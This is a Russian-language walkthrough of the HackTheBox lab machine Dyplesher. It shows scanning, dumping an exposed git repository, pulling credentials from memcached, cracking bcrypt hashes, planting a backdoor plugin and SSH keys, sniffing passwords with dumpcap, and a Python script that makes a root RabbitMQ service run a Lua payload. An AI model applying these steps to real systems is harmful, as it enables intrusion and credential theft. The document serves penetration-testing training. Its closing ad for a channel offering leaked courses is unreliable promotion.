Прежде чем перейти к статье, хочу вам представить, экономическую онлайн игру Brave Knights, в которой вы можете играть и зарабатывать. Регистируйтесь, играйте и зарабатывайте!
![](https://habrastorage.org/webt/6l/t0/az/6lt0az2okjj29dxxczn4hpio2-i.png)
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье мы получим хеши пользователей благодаря memcached, разбираемся с GIT репозиториями, пишем плагин с бэкдором на Java, анализируем трафик и повышаем привилегии благодаря RabbitMQ.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.190, который я добавляю в /etc/hosts.
10.10.10.190 dyplesher.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
![](https://habrastorage.org/webt/wv/et/vi/wvetvizocipxkp5r6rrd4-6lofy.png)
![](https://habrastorage.org/webt/st/am/ge/stamgetu-cj3kley6guj6mk6y6i.png)
Так видим много открытых портов и работающих служб. При этом два порта предназначены для веб-сервера — 80 и 3000. Давайте посмотрим их. Так порт 3000 отведен для Gogs и без учетных данных тут нич его не сделать.
![](https://habrastorage.org/webt/iw/rn/wt/iwrnwtk7jen6p8avz08begaudia.png)
А вот порт 80 сразу дает наводку — поддомен test.
![](https://habrastorage.org/webt/86/xe/nb/86xenbnj526pbqeucmao3tfk3y4.png)
Добавим его в /etc/hosts.
10.10.10.190 test.dyplesher.htb
Посмотрим, что нам может предложить найденный сайт.
![](https://habrastorage.org/webt/u1/2s/1g/u12s1gblpdnj_m2zudywvemsxmo.png)
Давайте переберем директории на обоих сайтах. Я делаю это с помощью gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w), нужные нам коды ответа и расширения, которые нас интересуют (-x).
gobuster dir -t 128 -u http://dyplesher.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401
![](https://habrastorage.org/webt/hh/rd/2j/hhrd2jxhdbq-fdu8f4rwdvyeu8e.png)
gobuster dir -t 128 -u http://test.dyplesher.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401
![](https://habrastorage.org/webt/6q/yk/4r/6qyk4r1lqfmqscohtq9pb4c8sto.png)
Находим страницу авторизации на первом и доступный git репозиторий на втором. Давайте скачаем весь .git с помощью скрипта rip-git.pl.
./rip-git.pl -v -u http://test.dyplesher.htb/.git/
![](https://habrastorage.org/webt/zt/oe/wz/ztoewzm5e3z15ecksjbobw8r--m.png)
И в рабочей директории обнаружим файл index.php, в котором имеются учетные данные.
![](https://habrastorage.org/webt/ce/gf/ku/cegfkumlmwmboabhfbar84u7fw8.png)
Видим использование memcached, который доступный на порте 11211.
Entry Point
Мы можем взаимодействовать с ним благодаря memcached-cli. Установим данное программное обеспечение.
sudo apt install npm
sudo npm install -g memcached-cli
И теперь подключимся с найденными учетными данными.
memcached-cli felamos:zxcvbnm@dyplesher.htb:11211
![](https://habrastorage.org/webt/tz/dx/v7/tzdxv7xofutg7jhndjtr5mpx0au.png)
Давайте попробуем получиться логины и пароли.
![](https://habrastorage.org/webt/jt/0c/7-/jt0c7-2smbfposkh9w0jewcwvzu.png)
И у нас есть три логина и три хеша. Давайте глянем, что это за хеши.
hashcat --example | grep -A2 -B2 \$2a
![](https://habrastorage.org/webt/jf/b4/sv/jfb4svstablwjhasknpljehr88e.png)
И это bcrypt, что означает слишком долгий перебор.
hashcat -a 0 -m 3200 hashes tools/rockyou.txt
![](https://habrastorage.org/webt/2d/dx/za/2ddxzac_7rqurb2yiknbi9pihlg.png)
И с полученными учетными данными получается зайти на Gogs.
![](https://habrastorage.org/webt/lh/w-/rt/lhw-rttrkra9a7ljpjovxfg5nzi.png)
У пользователя имеется два репозитория, при этом второй мы уже получили. А вот у первого есть релиз.
![](https://habrastorage.org/webt/ed/vn/rs/edvnrssc9ymazalrxguhshshzx8.png)
Скачаем и посмотрим на содержимое.
![](https://habrastorage.org/webt/ic/kt/yu/icktyur2gg_u4btw7xom4wao57q.png)
Таким образом, мы имеем 4 bundle репозитория. Давайте разархивируем их.
![](https://habrastorage.org/webt/in/oj/j9/inojj900r-afpptvxr39sshiyb4.png)
И среди новых файлов, внимание привлекает следующий проект.
![](https://habrastorage.org/webt/kc/yy/ku/kcyykupeeccgthtxokktqyayhcw.png)
В нем видим users.db базу данных (на данном этапе благодарен за оказание помощи Sergey Klevogin и ex0dus: оказалось, что на разных серверах разные учетные данные, и подобрать данные на US сервере не вышло, но это успешно получилось выполнить на сервере EU). Откроем данным файл в DB Browser.
![](https://habrastorage.org/webt/rq/gr/f2/rqgrf2jj02dalw8zaxrlo5yjdnm.png)
Это снова bcrypt, давайте его переберем.
hashcat -a 0 -m 3200 db.hash tools/rockyou.txt
![](https://habrastorage.org/webt/jn/zy/kf/jnzykfjhhcigskj1q7stnqj7_oo.png)
И мы получаем еще один пароль для нашего пользователя.
USER 1
Пробуя полученные учетные данные, получается зайти на самый первый сайт.
![](https://habrastorage.org/webt/_0/r7/e5/_0r7e5wxnd8mjs4r2ju7mqszcbo.png)
Осмотревшись на сайте, ничего особенного не находим, но понимаем, что сайт нужен для загрузки и активации плагинов. Ex0dus поделился статьей, где очень подробно описано как это сделать. Я приведу лишь код основного класса, в котором мы создаем и записываем php бэкдор.
![](https://habrastorage.org/webt/hi/76/ia/hi76iadcp1sioms6ht7g0i4tzr8.png)
После сборки, загрузим JAR файл на сайт, и активируем, его по имени, указанном в plugin.yml.
![](https://habrastorage.org/webt/da/4z/ic/da4zic-jdlbluqgpwa-papwdoro.png)
И проверяем. Все успешно работает.
![](https://habrastorage.org/webt/l-/0w/3q/l-0w3qiqoyrk4anvysnf1vdvhoe.png)
Создать бэкконнект шелл не получилось, но можно попробовать записать SSH ключ. Сначала сгенерируем его с помощью ssh-keygen, а потом запишем.
![](https://habrastorage.org/webt/cj/ua/ds/cjuads7k2h4q9kmljmrcvowc5ae.png)
Но подключившись по SSH, не находим файла user.txt, значит нам нужно захватить другого пользователя.
USER 2
Давайте загрузим на хост скрипт базового перечисления системы linPEAS и запустим его.
![](https://habrastorage.org/webt/by/f6/gn/byf6gn-vutqzzsqyzazawmukgf4.png)
В информации о пользователе замечаем группу wireshark. Так же отметим информацию о сетевых интерфейсах.
![](https://habrastorage.org/webt/jo/bh/v-/jobhv-anpyo1pi94dt5ppbhwhtk.png)
![](https://habrastorage.org/webt/oe/pg/75/oepg75ntwfgi5gjxlkk4hdyw6ku.png)
Но tcpdump использовать нельзя, давайте глянем, что нам даст группа wireshark. И находим dumpcap.
![](https://habrastorage.org/webt/2_/0-/bx/2_0-bxp_ajzttreaainoqjdslcq.png)
Я запустил его на 2 минуты собрать трафик, вдруг попадутся учетные данные других пользователей.
![](https://habrastorage.org/webt/mv/ge/r2/mvger2nrtf4h9gccy4rjzrvdz8w.png)
Далее скачем файл на локальную машину. Я попробовал поискать в нем строку “pass”, и это дало свои плоды.
![](https://habrastorage.org/webt/fh/ys/2f/fhys2fch84p_ifao3dmn47xourc.png)
Более удобно посмотреть логины и пароли можно немного отфильтровав вывод. И в конце списка видим пользователей из системы.
strings out.pcap | grep -oP '{.+}' | jq "{user: .email, pass: .password}"
![](https://habrastorage.org/webt/ep/tz/nn/eptznndv5mbwkqmmtrhk1k8rl1o.png)
И авторизуемся под последним пользователем в службе SSH.
![](https://habrastorage.org/webt/n_/8x/sl/n_8xsl1c312cowi7ksev4xt4vre.png)
ROOT
Так в списке представлена еще строка PASSWORDS, ее тоже нужно проверить. Для этого открываем посмотрим строки рядом и для уверенности найдем тоже самое в wireshark.
![](https://habrastorage.org/webt/y6/vi/y5/y6viy5fkaegvwkuvi8tgquhjwqo.png)
![](https://habrastorage.org/webt/_6/4f/vt/_64fvtsr0k6grxavdxd3i9cf1j4.png)
Это логин и пароль для подключения к RabbitMQ по протоколу AMQP, работающему на 5672 порте (из скана nmap). Я загрузил на хост pspy64 и определил, что служба запускается от имени рута.
![](https://habrastorage.org/webt/ho/9l/bv/ho9lbv-olvrwevrpijwkgiejmss.png)
Таким образом, при помощи pika python мы можем выполнить LUA скрипт от имени рута. Давайте в данном скрипте запишем уже сгенерированный публичный ключ SSH руту.
![](https://habrastorage.org/webt/wy/om/rv/wyomrvwiw5pp7zcyggmj0mfnnt4.png)
Теперь запустим локальный веб сервер с помощью python. А потом выполним скрипт ниже.
import pika
creds = pika.PlainCredentials('yuntao', 'EashAnicOc3Op')
params = pika.ConnectionParameters('dyplesher.htb', 5672, '/', creds)
conn = pika.BlockingConnection(params)
chan = conn.channel()
chan.basic_publish(exchange='', routing_key='plugin_data', body='http://127.0.0.1:5432/ralf.lua')
conn.close()
![](https://habrastorage.org/webt/cz/lg/a_/czlga_a674cxstwghb8h7ushtl8.png)
И теперь мы можем подключиться по SSH от имени root.
![](https://habrastorage.org/webt/fu/q7/or/fuq7orfhrum85-hclcapv8_pvg4.png)
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.